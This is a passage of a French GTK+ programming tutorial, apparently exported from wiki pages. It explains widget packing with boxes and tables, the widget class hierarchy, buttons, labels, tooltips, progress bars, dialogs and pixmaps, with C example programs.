gtk_box_pack_start (GTK_BOX (box1), box2, FALSE, FALSE, 0); gtk_widget_show (box2); /* Paramètres : homogeneous = TRUE, spacing = 0, * expand = TRUE, fill = TRUE, padding = 0 */ box2 = make_box (TRUE, 0, TRUE, TRUE, 0); gtk_box_pack_start (GTK_BOX (box1), box2, FALSE, FALSE, 0); gtk_widget_show (box2); /* Un autre séparateur */ separator = gtk_hseparator_new (); /* Les 3 derniers paramètres de gtk_box_pack_start sont : * expand = FALSE, fill = TRUE, padding = 5. */ gtk_box_pack_start (GTK_BOX (box1), separator, FALSE, TRUE, 5); gtk_widget_show (separator); break; case 2: /* Création d'un label, box1 est une vbox identique à * celle créée au début de main() */ label = gtk_label_new ("gtk_hbox_new (FALSE, 10);"); gtk_misc_set_alignment (GTK_MISC (label), 0, 0); gtk_box_pack_start (GTK_BOX (box1), label, FALSE, FALSE, 0); gtk_widget_show (label); /* Paramètres : homogeneous = FALSE, spacing = 10, * expand = TRUE, fill = FALSE, padding = 0 */ box2 = make_box (FALSE, 10, TRUE, FALSE, 0); gtk_box_pack_start (GTK_BOX (box1), box2, FALSE, FALSE, 0); gtk_widget_show (box2); /* Paramètres : homogeneous = FALSE, spacing = 10, * expand = TRUE, fill = TRUE, padding = 0 */ box2 = make_box (FALSE, 10, TRUE, TRUE, 0); gtk_box_pack_start (GTK_BOX (box1), box2, FALSE, FALSE, 0); gtk_widget_show (box2); separator = gtk_hseparator_new (); /* Les 3 derniers paramètres de gtk_box_pack_start sont : * expand = FALSE, fill = TRUE, padding = 5. */ gtk_box_pack_start (GTK_BOX (box1), separator, FALSE, TRUE, 5); gtk_widget_show (separator); label = gtk_label_new ("gtk_hbox_new (FALSE, 0);"); gtk_misc_set_alignment (GTK_MISC (label), 0, 0); gtk_box_pack_start (GTK_BOX (box1), label, FALSE, FALSE, 0); gtk_widget_show (label); /* Paramètres : homogeneous = FALSE, spacing = 0, * expand = TRUE, fill = FALSE, padding = 10 */ box2 = make_box (FALSE, 0, TRUE, FALSE, 10); gtk_box_pack_start (GTK_BOX (box1), box2, FALSE, FALSE, 0); gtk_widget_show (box2); /* Paramètres : homogeneous = FALSE, spacing = 0, * expand = TRUE, fill = TRUE, padding = 10 */ box2 = make_box (FALSE, 0, TRUE, TRUE, 10); gtk_box_pack_start (GTK_BOX (box1), box2, FALSE, FALSE, 0); gtk_widget_show (box2); separator = gtk_hseparator_new (); /* Les 3 derniers paramètres de gtk_box_pack_start sont : * expand = FALSE, fill = TRUE, padding = 5. */ gtk_box_pack_start (GTK_BOX (box1), separator, FALSE, TRUE, 5); gtk_widget_show (separator); break; case 3: /* Ceci est une démonstration de la possibilité d'utiliser * gtk_box_pack_end() pour aligner les widgets à droite. * On crée d'abord une nouvelle boîte comme d'habitude. */ box2 = make_box (FALSE, 0, FALSE, FALSE, 0); /* On crée le label qui sera mis à la fin. */ label = gtk_label_new ("end"); /* On le place en utilisant gtk_box_pack_end(), il est ainsi * mis à droite de la hbox créée par l'appel à make_box(). */ gtk_box_pack_end (GTK_BOX (box2), label, FALSE, FALSE, 0); /* Affichage du label. */ gtk_widget_show (label); /* Placement de box2 dans box1 (la vbox, vous vous rappelez ? :) */ gtk_box_pack_start (GTK_BOX (box1), box2, FALSE, FALSE, 0); gtk_widget_show (box2); /* Séparateur pour le bas. */ separator = gtk_hseparator_new (); /* Configuration du séparateur en 400x5 pixels. * La hbox que l'on a créée aura donc 400 pixels de large, * et le label "end" sera séparé des autres de la hbox. * Sinon, tous les widgets de la hbox seraient placés les plus * près possible les uns des autres. */ gtk_widget_set_usize (separator, 400, 5); /* Placement du séparateur dans la vbox (box1) * créée au debut de main(). */ gtk_box_pack_start (GTK_BOX (box1), separator, FALSE, TRUE, 5); gtk_widget_show (separator); } /* Création d'une nouvelle hbox.. vous pouvez en utiliser autant que * que vous en avez besoin ! */ quitbox = gtk_hbox_new (FALSE, 0); /* Notre bouton pour quitter. */ button = gtk_button_new_with_label ("Quit"); /* Configuration du signal pour détruire la fenêtre. Ceci enverra le * signal "destroy" à la fenêtre. Ce signal sera à son tour capturé * par notre gestionnaire de signal défini plus haut. */ gtk_signal_connect_object (GTK_OBJECT (button), "clicked", GTK_SIGNAL_FUNC (gtk_widget_destroy), GTK_OBJECT (window)); /* Placement du bouton dans la « quitbox ». * Les 3 derniers paramètres de gtk_box_pack_start sont : * expand = TRUE, fill = FALSE, padding = 0. */ gtk_box_pack_start (GTK_BOX (quitbox), button, TRUE, FALSE, 0); /* Placement de la quitbox dans la vbox (box1) */ gtk_box_pack_start (GTK_BOX (box1), quitbox, FALSE, FALSE, 0); /* Placement de la vbox (box1), qui contient maintenant tous nos * widgets, dans la fenêtre principale. */ gtk_container_add (GTK_CONTAINER (window), box1); /* Affichage */ gtk_widget_show (button); gtk_widget_show (quitbox); gtk_widget_show (box1); /* Affichage de la fenêtre en dernier */ gtk_widget_show (window); /* Ne pas oublier notre fonction principale. */ gtk_main (); /* Le contrôle revient ici lorsque gtk_main_quit() est appelée, * jusqu'à ce que gtk_exit() soitutilisée. */ return 0; } Programmation GTK plus Placement avec les tables 3475 28264 2006-01-05T10:56:33Z 86.192.235.173 4.4 Placement avec les tables Étudions une autre méthode de placement : les tables. Elles peuvent s'avérer très utiles dans certaines situations. En utilisant des tables, on crée une grille dans laquelle on peut placer les widgets. Ceux-ci peuvent occuper tous les endroits que l'on désire. La première chose à faire est, bien sûr, d'étudier la fonction gtk_table_new: GtkWidget* gtk_table_new (gint rows, gint columns, gint homogeneous); Le premier paramètre est le nombre de lignes de la table et le deuxième, le nombre de colonnes. Le paramètre homogeneous s'occupe de la façon dont les cases de la table seront dimensionnées. Si homogeneous vaut TRUE, les cases prennent la taille du plus grand widget de la table. S'il vaut FALSE, la taille des cases dépend du widget le plus haut de la ligne et du plus large de cette colonne. Le nombre de lignes et colonnes va de 0 à n, où n est le nombre spécifié dans l'appel à gtk_table_new. Ainsi, avec rows = 2 et columns = 2, la table ressemblera à ceci : 0 1 2 0+----------+----------+ | | | 1+----------+----------+ | | | 2+----------+----------+ On notera que le système de coordonnées part du coin en haut à gauche. Pour placer un widget dans une case, ou utilise la fonction suivante : void gtk_table_attach (GtkTable *table, GtkWidget *child, gint left_attach, gint right_attach, gint top_attach, gint bottom_attach, gint xoptions, gint yoptions, gint xpadding, gint ypadding); Où le premier paramètre (table) est la table que l'on a créée et le second (child) est le widget que l'on veut placer dans la table. Les paramètres left_attach et right_attach spécifient l'emplacement du widget et le nombre de cases à utiliser. Par exemple, si on veut placer un bouton dans le coin inférieur droit de la table décrite plus haut et que l'on désire ne remplir QUE cette case, left_attach vaudra 1, right_attach vaudra 2; top_attach vaudra 1 et bottom_attach vaudra 2. Si on veut un widget occupant toute la ligne supérieure de notre table, on utilisera les valeurs 0, 2, 0, 1. Les paramètres xoptions et yoptions servent à préciser les options de placement et peuvent être combinées par un OU logique pour permettre des options multiples. Ces options sont : * GTK_FILL - Si la case de la table est plus large que le widget, et que GTK_FILL est spécifié, le widget s'élargira pour occuper toute la place disponible. * GTK_SHRINK - Si la table a moins de place qu'il ne lui en faut (généralement, à cause d'un redimensionnement de la fenêtre par l'utilisateur), les widgets sont alors simplement poussés vers le bas de la fenêtre et disparaissent. Si GTK_SHRINK est spécifié, les widgets se réduiront en même temps que la table. * GTK_EXPAND - Cette option provoque l'extension de la table pour qu'elle utilise tout l'espace restant dans la fenêtre. Le paramêtres de padding jouent le même rôle que pour les boîtes, il créent une zone libre, spécifiée en pixels, autour du widget. gtk_table_attach() a BEAUCOUP d'options. Voici donc une fonction-raccourci : void gtk_table_attach_defaults (GtkTable *table, GtkWidget *widget, gint left_attach, gint right_attach, gint top_attach, gint bottom_attach); xoptions et options valent par défaut GTK_FILL | GTK_EXPAND, et xpadding et ypadding valent 0. Les autres paramètres sont les mêmes que ceux de la fonction précédente. Il existe aussi les fonctions gtk_table_set_row_spacing() et gtk_table_set_col_spacing(). Elles permettent de placer des espaces après une ligne ou une colonne. void gtk_table_set_row_spacing (GtkTable *table, gint row, gint spacing); et void gtk_table_set_col_spacing (GtkTable *table, gint column, gint spacing); Pour les colonnes, l'espace est ajouté à droite de la colonne et pour les lignes, il est ajouté en dessous. On peut aussi configurer un espacement pour toutes les lignes et/ou colonnes avec : void gtk_table_set_row_spacings (GtkTable *table, gint spacing); Et, void gtk_table_set_col_spacings (GtkTable *table, gint spacing); Avec ces appels, la dernière ligne et la dernière colonne n'ont pas d'espace supplémentaire. Programmation GTK plus Exemple de placement avec table 3476 14981 2005-05-07T11:43:11Z NSV 283 4.5 Exemple de placement avec table Pour le moment, étudiez l'exemple sur les tables (testgtk.c) distribué avec les sources de GTK. Programmation GTK plus Vue densemble des widgets 3477 14982 2005-05-07T11:43:34Z NSV 283 Les étapes pour créer un widget en GTK sont&nbsp: 1. gtk_*_new() - une des fonctions disponibles pour créer un nouveau widget. Ces fonctions sont décrites dans cette section. 2. Connexion de tous les signaux que l'on souhaite utiliser avec les gestionnaires adéquats. 3. Configuration des attributs du widget. 4. Placement du widget dans un container en utilisant un appel approprié comme gtk_container_add() ou gtk_box_pack_start(). 5. Affichage du widget grâce à gtk_widget_show(). gtk_widget_show() permet à GTK de savoir que l'on a fini de configurer les attributs du widget et qu'il est prêt à être affiché. On peut aussi utiliser gtk_widget_hide() pour le faire disparaître. L'ordre dans lequel on affiche les widgets n'est pas important, mais il est préférable d'afficher la fenêtre en dernier pour qu'elle surgisse d'un seul coup plutôt que de voir les différents widgets apparaître à l'écran au fur et à mesure. Les fils d'un widget (une fenêtre est aussi un widget) ne seront pas affichés tant que la fenêtre elle-même n'est pas affichée par la fonction gtk_widget_show(). Programmation GTK plus Conversions de types 3478 14983 2005-05-07T11:44:29Z NSV 283 Vous remarquerez, au fur et à mesure que vous progressez, que GTK utilise un système de coercition de type. Celle-ci est toujours réalisée en utilisant des macros qui vérifient si l'objet donné peut être converti et qui réalisent cette coercition. Les macros que vous rencontrerez le plus sont&nbsp: * GTK_WIDGET(widget) * GTK_OBJECT(object) * GTK_SIGNAL_FUNC(function) * GTK_CONTAINER(container) * GTK_WINDOW(window) * GTK_BOX(box) Elles sont toutes utilisées pour convertir les paramètres des fonctions. Vous les verrez dans les exemples et, en règle générale, vous saurez les utiliser simplement en regardant la déclaration d'une fonction. Comme vous pouvez le voir dans la hiérarchie de classes ci-dessous, tous les GtkWidgets dérivent d'une classe de base GtkObject. Ceci signifie que vous pouvez utiliser un widget à chaque fois qu'une fonction requiert un objet - il suffit d'utiliser la macro GTK_OBJECT(). Par exemple&nbsp: gtk_signal_connect(GTK_OBJECT(button), "clicked", GTK_SIGNAL_FUNC(fonction_rappel), donnee_de_rappel); Cet appel convertit le bouton en objet et fournit une conversion pour le pointeur de fonction vers la fonction de rappel. De nombreux widgets sont aussi des containers. Si vous regardez la hiérarchie de classe ci-dessous, vous remarquerez que beaucoup de widgets viennent de la classe GtkContainer. N'importe lequel de ces widgets peut être utilisé avec la macro GTK_CONTAINER pour être passé en paramètre à une fonction qui attend un container. Malheureusement, ces macros ne peuvent être couvertes en détail dans ce didacticiel, Je vous recommande donc de jeter un coup d'oeil sur les fichier en-têtes GTK&nbsp: ils peuvent s'avérer très instructifs. En fait, il n'est pas difficile de comprendre comment fonctionne un widget, il suffit d'étudier les déclarations des fonctions. Programmation GTK plus La hierarchie des widgets 3479 14984 2005-05-07T11:43:56Z NSV 283 Voici l'arbre de la hiérarchie de classes utilisées pour implanter les widgets. GtkObject +-- GtkData | \-- GtkAdjustment | \-- GtkWidget +-- GtkContainer | +-- GtkBin | | +-- GtkAlignment | | +-- GtkFrame | | | *-- GtkAspectFrame | | | | | +-- GtkItem | | | +-- GtkListItem | | | +-- GtkMenuItem | | | | +-- GtkCheckMenuItem | | | | *-- GtkRadioMenuItem | | | | | | | *-- GtkTreeItem | | | | | +-- GtkViewport | | \-- GtkWindow | | +-- GtkDialog | | \-- GtkFileSelection | | | +-- GtkBox | | +-- GtkHBox | | \-- GtkVBox | | +-- GtkColorSelection | | \-- GtkCurve | | | +-- GtkButton | | +-- GtkOptionMenu | | \-- GtkToggleButton | | \-- GtkCheckButton | | \-- GtkRadioButton | | | +-- GtkList | +-- GtkMenuShell | | +-- GtkMenu | | \-- GtkMenuBar | | | +-- GtkNotebook | +-- GtkScrolledWindow | +-- GtkTable | \-- GtkTree | +-- GtkDrawingArea +-- GtkEntry +-- GtkMisc | +-- GtkArrow | +-- GtkImage | +-- GtkLabel | \-- GtkPixmap | +-- GtkPreview +-- GtkProgressBar +-- GtkRange | +-- GtkScale | | +-- GtkHScale | | \-- GtkVScale | | | \-- GtkScrollbar | +-- GtkHScrollbar | \-- GtkVScrollbar | +-- GtkRuler | +-- GtkHRuler | \-- GtkVRuler | \-- GtkSeparator +-- GtkHSeparator \-- GtkVSeparator Programmation GTK plus Widgets sans fenetre 3480 14985 2005-05-07T11:44:02Z NSV 283 Les widgets suivants n'ont pas de fenêtre associée. Si vous voulez capturer des événements, vous devez utiliser GtkEventBox. Reportez-vous à la section sur Le widget EventBox GtkAlignment GtkArrow GtkBin GtkBox GtkImage GtkItem GtkLabel GtkPaned GtkPixmap GtkScrolledWindow GtkSeparator GtkTable GtkViewport GtkAspectFrame GtkFrame GtkVPaned GtkHPaned GtkVBox GtkHBox GtkVSeparator GtkHSeparator Nous continuerons notre exploration de GTK en examinant chaque widget tour à tour, créant quelques fonctions simples pour les afficher. Une autre source intéressante est le programme testgtk.c livré avec GTK. Il se trouve dans le répertoire gtk/ Programmation GTK plus Boutons normaux 3481 14986 2005-05-07T11:44:27Z NSV 283 On a déjà presque vu tout ce qu'il y avait à voir sur le widget bouton. Il est très simple. Cependant, il y a deux façons de créer un bouton. On peut utiliser gtk_button_new_with_label() pour créer un bouton avec un label, ou gtk_button_new() pour créer un bouton vide. Dans ce dernier cas, c'est à vous de placer un label ou un pixmap sur celui-ci. Pour ce faire, créez une boîte, puis placez vos objets dans celle-ci en utilisant la fonction habituelle gtk_box_pack_start, utilisez alors gtk_container_add pour placer la boîte dans le bouton. Voici un exemple d'utilisation de gtk_button_new() pour créer un bouton contenant une image et un label. J'ai séparé du reste le code qui crée une boîte pour que vous puissiez l'utiliser dans vos programmes. #include <gtk/gtk.h> /* Création d'une hbox avec une image et un label. Cette fonction * retourne la boîte... */ GtkWidget *xpm_label_box (GtkWidget *parent, gchar *xpm_filename, gchar *label_text) { GtkWidget *box1; GtkWidget *label; GtkWidget *pixmapwid; GdkPixmap *pixmap; GdkBitmap *mask; GtkStyle *style; /* Création de la boite pour un xpm et un label */ box1 = gtk_hbox_new (FALSE, 0); gtk_container_border_width (GTK_CONTAINER (box1), 2); /* Choix d'un style de bouton... Je suppose que c'est pour obtenir * la couleur du fond. Si quelqu'un connaît la vraie raison, qu'il * m'éclaire sur ce point. */ style = gtk_widget_get_style(parent); /* Chargement de xpm pour créer une image */ pixmap = gdk_pixmap_create_from_xpm (parent->window, &mask, &style->bg[GTK_STATE_NORMAL], xpm_filename); pixmapwid = gtk_pixmap_new (pixmap, mask); /* Création d'un label */ label = gtk_label_new (label_text); /* placement de l'image et du label dans la boîte */ gtk_box_pack_start (GTK_BOX (box1), pixmapwid, FALSE, FALSE, 3); gtk_box_pack_start (GTK_BOX (box1), label, FALSE, FALSE, 3); gtk_widget_show(pixmapwid); gtk_widget_show(label); return (box1); } /* Notre fonction de rappel habituelle */ void callback (GtkWidget *widget, gpointer *data) { g_print ("Bonjour - %s a été pressé\n", (char *) data); } int main (int argc, char *argv[]) { /* GtkWidget est le type utilisé pour déclarer les widgets */ GtkWidget *window; GtkWidget *button; GtkWidget *box1; gtk_init (&argc, &argv); /* Création d'une fenêtre */ window = gtk_window_new (GTK_WINDOW_TOPLEVEL); gtk_window_set_title (GTK_WINDOW (window), "Pixmap'd Buttons!"); /* Il est préférable de faire cela pour toutes les fenêtres */ gtk_signal_connect (GTK_OBJECT (window), "destroy", GTK_SIGNAL_FUNC (gtk_exit), NULL); /* Configuration du bord de la fenêtre */ gtk_container_border_width (GTK_CONTAINER (window), 10); /* Création d'un bouton */ button = gtk_button_new (); /* Vous devriez être habitué à voir ces fonctions maintenant */ gtk_signal_connect (GTK_OBJECT (button), "clicked", GTK_SIGNAL_FUNC (callback), (gpointer) "cool button"); /* Appel de notre fonction de création de boîte */ box1 = xpm_label_box(window, "info.xpm", "cool button"); /* Placement et affichage de tous nos widgets */ gtk_widget_show(box1); gtk_container_add (GTK_CONTAINER (button), box1); gtk_widget_show(button); gtk_container_add (GTK_CONTAINER (window), button); gtk_widget_show (window); /* Le reste est dans gtk_main */ gtk_main (); return 0; } La fonction xpm_label_box() peut être utilisée pour placer des xpms et des labels sur tout widget qui peut être container. Programmation GTK plus Boutons commutateurs 3482 14987 2005-05-07T11:44:32Z NSV 283 Les boutons commutateurs ressemblent beaucoup aux boutons normaux, sauf qu'ils seront toujours alternativement dans un état ou dans un autre. Le changement d'état s'effectue par un click. Ils peuvent être enfoncés et, lorsqu'on clique dessus, ils se relèvent. Re-cliquez, et ils se renfoncent. Les boutons commutateurs sont la base des cases à cocher ou des boutons radio, donc la plupart des appels utilisés pour les boutons commutateurs sont hérités par les cases à cocher et les boutons radio. J'insisterai là dessus quand nous les aborderons. Création d'un bouton commutateur : GtkWidget* gtk_toggle_button_new (void); GtkWidget* gtk_toggle_button_new_with_label (gchar *label); Comme vous pouvez l'imaginer, elles fonctionnent comme celles des boutons normaux. La première crée un bouton commutateur vide et la deuxième un bouton commutateur contenant déjà un label. Pour récupérer l'état d'un commutateur et cela comprend aussi les cases à cocher et les boutons radio, on utilise une macro comme nous le montrons dans l'exemple qui suit et qui teste l'état du commutateur dans une fonction de rappel. Le signal qui nous intéresse et qui est émis par les boutons commutateurs (ce qui comprend aussi les cases à cocher et les boutons radio), est le signal "toggled". Pour vérifier l'état de ces boutons, on configure un gestionnaire de signal qui capture "toggled" et utilise la macro pour déterminer l'état. La fonction de rappel ressemblera à ceci&nbsp: void rappel_bouton_commutateur (GtkWidget *widget, gpointer data) { if (GTK_TOGGLE_BUTTON(widget)->active) { /* Si l'on est ici, c'est que le bouton est relâché. */ } else { /* le bouton est enfoncé */ } } L'appel qui suit peut être utilisé pour configurer l'état d'un bouton commutateur et de ses descendants, les cases à cocher et les boutons radio. On lui passe notre bouton en premier paramètre et TRUE ou FALSE pour spécifier s'il doit être relâché ou enfoncé. Par défaut, il est relâché (FALSE). void gtk_toggle_button_set_state (GtkToggleButton *toggle_button, gint state); On notera que lorsqu'on utilise cette fonction, et que l'état est modifié, cela force le bouton à émettre un signal "clicked". void gtk_toggle_button_toggled (GtkToggleButton *toggle_button); Cet appel ne fait que commuter le bouton et émettre le signal "toggled". Programmation GTK plus Cases à cocher 3483 14988 2005-05-07T11:44:37Z NSV 283 Les cases à cocher héritent de nombreuses propriétés et fonctions des boutons commutateurs, mais ont un aspect différent. Au lieu d'être des boutons contenant du texte, ce sont de petits carrés avec un texte sur leur droite. Il sont souvent utilisés pour valider ou non des options dans les applications. Les deux fonctions de création sont identiques à celles des boutons normaux. GtkWidget* gtk_check_button_new (void); GtkWidget* gtk_check_button_new_with_label (gchar *label); La fonction new_with_label crée une case à cocher avec un texte à coté d'elle. La vérification de l'état d'une case à cocher est identique à celle des boutons commutateurs. Programmation GTK plus Boutons radio 3484 14989 2005-05-07T11:44:43Z NSV 283 Les boutons radio ressemblent aux cases à cocher sauf qu'ils sont groupés de façon à ce qu'un seul d'entre-eux puisse être sélectionné à un moment donné. Ils sont utilisés par les applications lorsqu'il s'agit d'effectuer un choix dans une liste d'options. La création d'un bouton radio s'effectue grâce à l'un des appels suivants&nbsp: GtkWidget* gtk_radio_button_new (GSList *group); GtkWidget* gtk_radio_button_new_with_label (GSList *group, gchar *label); On notera le paramètre supplémentaire de ces fonctions. Elles nécessitent un groupe pour réaliser correctement leur tâche. Le premier appel doit passer NULL au premier paramètre puis on peut créer un groupe en utilisant&nbsp: GSList* gtk_radio_button_group (GtkRadioButton *radio_button); On passe alors ce groupe en premier paramètre des appels suivants aux fonctions de création. Il est préférable, aussi, de préciser quel bouton doit être choisi par défaut avec la fonction&nbsp: void gtk_toggle_button_set_state (GtkToggleButton *toggle_button, gint state); Celle-ci est décrite dans la section sur les boutons commutateurs et fonctionne exactement de la même façon. Mettre ici un exemple d'utilisation de tout cela car je crois que cela ferait beaucoup de bien... Programmation GTK plus Labels 3485 14990 2005-05-07T11:45:13Z NSV 283 Les labels sont très utilisés dans GTK et sont relativement simples. Ils n'émettent pas de signaux car ils n'ont pas de fenêtre X qui leur est associée. Si vous avez besoin de capturer des signaux ou de faire des coupures (« clippings »), utilisez un widget EventBox. Pour créer un label, on utilise&nbsp: GtkWidget* gtk_label_new (char *str); Où l'unique paramètre est la chaîne de caractères que l'on veut que le label affiche. Pour changer le texte d'un label après sa création, on utilise la fonction&nbsp: void gtk_label_set (GtkLabel *label, char *str); où le premier paramètre est le label que l'on veut modifier, que l'on convertit en utilisant la macro GTK_LABEL(), et le second est la nouvelle chaîne. L'espace nécessaire à la nouvelle chaîne sera automatiquement ajusté si nécessaire. Pour récupérer la chaîne courante, on utilise la fonction&nbsp: void gtk_label_get (GtkLabel *label, char **str); où le premier paramètre est le label dont on veut récupérer la chaîne et le second sert à retourner cette chaîne. Programmation GTK plus Le widget bulle daide 3486 14991 2005-05-07T11:45:22Z NSV 283 Ce sont les petits textes qui surgissent lorsque vous laissez votre pointeur sur un bouton ou un autre widget pendant quelques secondes. Ils sont faciles à utiliser, on ne donnera donc pas d'exemple. Si vous voulez voir du code, consultez le programme testgtk.c distribué avec GTK. Certains widgets (comme les labels) ne fonctionnent pas avec les bulles d'aide. Le premier appel que vous utiliserez sera pour créer une nouvelle bulle d'aide. Vous n'avez besoin que de le faire une fois dans une fonction donnée. Le GtkTooltip que cette fonction retourne peut être utilisé pour créer plusieurs bulles d'aide. GtkTooltips *gtk_tooltips_new (void); Lorsque vous avez créé une nouvelle bulle d'aide et le widget sur lequel vous voulez l'utiliser, vous n'avez qu'à faire cet appel pour la configurer&nbsp: void gtk_tooltips_set_tips (GtkTooltips *tooltips, GtkWidget *widget, gchar *tips_text); Les paramètres sont la bulle d'aide déjà créée, suivi du widget pour lequel vous voulez voir apparaître cette bulle et le texte que vous voulez qu'elle contienne. Voici un petit exemple&nbsp: GtkTooltips *tooltips; GtkWidget *button; ... tooltips = gtk_tooltips_new (); button = gtk_button_new_with_label ("bouton 1"); ... gtk_tooltips_set_tips (tooltips, button, "C'est le bouton 1"); D'autres fonctions peuvent être utilisées avec les bulles d'aide. Je ne ferais que les énumérer et les décrire brièvement. void gtk_tooltips_destroy (GtkTooltips *tooltips); Destruction de bulles d'aide. void gtk_tooltips_enable (GtkTooltips *tooltips); Activation d'un ensemble de bulles d'aide désactivées. void gtk_tooltips_disable (GtkTooltips *tooltips); Désactivation d'un ensemble de bulles d'aide activées. void gtk_tooltips_set_delay (GtkTooltips *tooltips, gint delay); Configure le nombre de millisecondes pendant lequel le pointeur soit se trouver sur le widget avant que la bulle d'aide n'apparaisse. Par défaut, ce délai est de 1000 millisecondes, soit 1 seconde. void gtk_tooltips_set_tips (GtkTooltips *tooltips, GtkWidget *widget, gchar *tips_text); Change le texte d'une bulle d'aide déjà créée. void gtk_tooltips_set_colors (GtkTooltips *tooltips, GdkColor *background, GdkColor *foreground); Configure les couleurs de fond et de premier plan des bulles d'aides. Je ne sais toujours pas comment spécifier les couleurs... Et c'est tout concernant les fonctions associées aux bulles d'aide. C'est plus que vous ne vouliez sûrement en savoir :) Programmation GTK plus Barres de progression 3487 14992 2005-05-07T11:45:35Z NSV 283 Les barres de progression sont utilisées pour afficher la progression d'une opération. Elles sont très simple à utiliser comme vous pourrez le constater en étudiant le code ci-dessous. Commençons d'abord par l'appel permettant de créer une nouvelle barre. GtkWidget *gtk_progress_bar_new (void); Maintenant que la barre est créée, nous pouvons l'utiliser. void gtk_progress_bar_update (GtkProgressBar *pbar, gfloat percentage); Le premier paramètre est la barre de progression sur laquelle on veut agir, et le second est le pourcentage « effectué », signifiant le remplissage de la barres de 0 à 100 % (réel compris entre 0 et 1). Les barres de progression sont généralement utilisées avec les délais d'expiration ou autres fonctions identiques (voir la section sur Expirations, fonctions d'E/S et d'attente) pour donner l'illusion du multi-tâches. Toutes emploient la fonction gtk_progress_bar_update de la même façon. Voici un exemple de barre de progression mise à jour par des expirations. Ce code montre aussi comment réinitialiser une barre. #include <gtk/gtk.h> static int ptimer = 0; int pstat = TRUE; /* Cette fonction incrémente et met à jour la barre de progression, * elle la réinitialise si pstat vaut FALSE */ gint progress (gpointer data) { gfloat pvalue; /* récupération de la valeur courante de la barre */ pvalue = GTK_PROGRESS_BAR (data)->percentage; if ((pvalue >= 1.0) || (pstat == FALSE)) { pvalue = 0.0; pstat = TRUE; } pvalue += 0.01; gtk_progress_bar_update (GTK_PROGRESS_BAR (data), pvalue); return TRUE; } /* Cette fonction signale une réinitialisation de la barre */ void progress_r (void) { pstat = FALSE; } void destroy (GtkWidget *widget, gpointer *data) { gtk_main_quit (); } int main (int argc, char *argv[]) { GtkWidget *window; GtkWidget *button; GtkWidget *label; GtkWidget *table; GtkWidget *pbar; gtk_init (&argc, &argv); window = gtk_window_new (GTK_WINDOW_TOPLEVEL); gtk_signal_connect (GTK_OBJECT (window), "delete_event", GTK_SIGNAL_FUNC (destroy), NULL); gtk_container_border_width (GTK_CONTAINER (window), 10); table = gtk_table_new(3,2,TRUE); gtk_container_add (GTK_CONTAINER (window), table); label = gtk_label_new ("Exemple de barre de progression"); gtk_table_attach_defaults(GTK_TABLE(table), label, 0,2,0,1); gtk_widget_show(label); /* Crée une barre, la place dans la table et l'affiche */ pbar = gtk_progress_bar_new (); gtk_table_attach_defaults(GTK_TABLE(table), pbar, 0,2,1,2); gtk_widget_show (pbar); /* Configure le délai d'expiration pour gérer automatiquement la * mise à jour de la barre */ ptimer = gtk_timeout_add (100, progress, pbar); /* Ce bouton indique à la barre qu'elle doit se réinitialiser */ button = gtk_button_new_with_label ("Reset"); gtk_signal_connect (GTK_OBJECT (button), "clicked", GTK_SIGNAL_FUNC (progress_r), NULL); gtk_table_attach_defaults(GTK_TABLE(table), button, 0,1,2,3); gtk_widget_show(button); button = gtk_button_new_with_label ("Annuler"); gtk_signal_connect (GTK_OBJECT (button), "clicked", GTK_SIGNAL_FUNC (destroy), NULL); gtk_table_attach_defaults(GTK_TABLE(table), button, 1,2,2,3); gtk_widget_show (button); gtk_widget_show(table); gtk_widget_show(window); gtk_main (); return 0; } Dans ce petit programme, il y a quatre parties concernant le fonctionnement général des barres de progression, nous les étudierons dans l'ordre de leurs appels. pbar = gtk_progress_bar_new (); Cet appel crée une nouvelle barre, nommée pbar. ptimer = gtk_timeout_add (100, progress, pbar); Cet appel utilise des délais d'expiration pour permettre un intervalle de temps constant. ces délais ne sont pas nécessaires à l'utilisation des barres de progression. pvalue = GTK_PROGRESS_BAR (data)->percentage; Ce code assigne à pvalue la valeur du pourcentage de la barre. gtk_progress_bar_update (GTK_PROGRESS_BAR (data), pvalue); Finalement, ce code met à jour la barre avec la valeur de pvalue. Et c'est tout ce qu'il y a à savoir sur les barres de progression. Amusez-vous bien. Programmation GTK plus Boites de dialogue 3488 14993 2005-05-07T11:45:42Z NSV 283 Les widgets boîtes de dialogue sont très simples&nbsp: ce sont simplement des fenêtres avec plusieurs choses déjà placées dedans. La structure d'une boîte de dialogue est&nbsp: struct GtkDialog { GtkWindow window; GtkWidget *vbox; GtkWidget *action_area; }; Comme vous le voyez, cela crée simplement une fenêtre et la place dans une vbox suivie d'un séparateur et d'une hbox pour la « zone d'action ». Le widget boîte de dialogue peut servir à produire des messages pour l'utilisateur ainsi qu'à d'autres tâches. Il est vraiment rudimentaire et il n'y a qu'une seule fonction pour les boîtes de dialogue&nbsp: GtkWidget* gtk_dialog_new (void); Ainsi, pour créer un nouveau dialogue, on utilise&nbsp: GtkWidget window; window = gtk_dialog_new (); Ceci créera la boîte de dialogue et c'est maintenant à vous de l'utiliser. Vous pouvez, par exemple, placer un bouton dans la zone d'action en faisant quelque chose comme&nbsp: button = ... gtk_box_pack_start (GTK_BOX (GTK_DIALOG (window)->action_area), button, TRUE, TRUE, 0); gtk_widget_show (button); Et vous pouvez aussi ajouter un label à la zone de la vboxb&nbsp: label = gtk_label_new ("Les boîtes de dialogues sont pratiques"); gtk_box_pack_start (GTK_BOX (GTK_DIALOG (window)->vbox), label, TRUE, TRUE, 0); gtk_widget_show (label); Comme exemple d'utilisation d'une boîte de dialogue, vous pourriez mettre deux boutons dans la zone d'action (un bouton « Annuler » et un bouton « Ok ») et un label dans la zone de la vbox posant une question à l'utilisateur ou signalant une erreur, etc. Vous pouvez alors attacher un signal différent à chacun des boutons et réaliser l'opération que l'utilisateur a choisie. Programmation GTK plus Pixmaps 3489 14994 2005-05-07T11:46:02Z NSV 283 Les pixmaps sont des structures de données contenant des images. Celles-ci peuvent être utilisées à différents endroits, mais le plus souvent comme icônes dans le bureau X Window. Un bitmap est un pixmap de 2 couleurs. Pour utiliser des pixmaps avec GTK, on doit d'abord construire une structure GdkPixmap en utilisant les fonctions de la couche GDK. Les pixmaps peuvent soit être créés à partir de données en memoire, ou à partir de données lues dans un fichier. Nous utiliserons chacun des appels pour créer un pixmap. GdkPixmap *gdk_bitmap_create_from_data( GdkWindow *window, gchar *data, gint width, gint height ); Cette fonction sert à créer un pixmap mono-plan (2 couleurs) à partir de données en mémoire. Chaque bit de la donnée data. width et height sont exprimés en pixels. Le pointeur vers un GdkWindow pointe sur la fenêtre courante car les ressources d'un pixmap n'ont de signification que dans le contexte de l'écran où il doit s'afficher. GdkPixmap* gdk_pixmap_create_from_data( GdkWindow *window, gchar 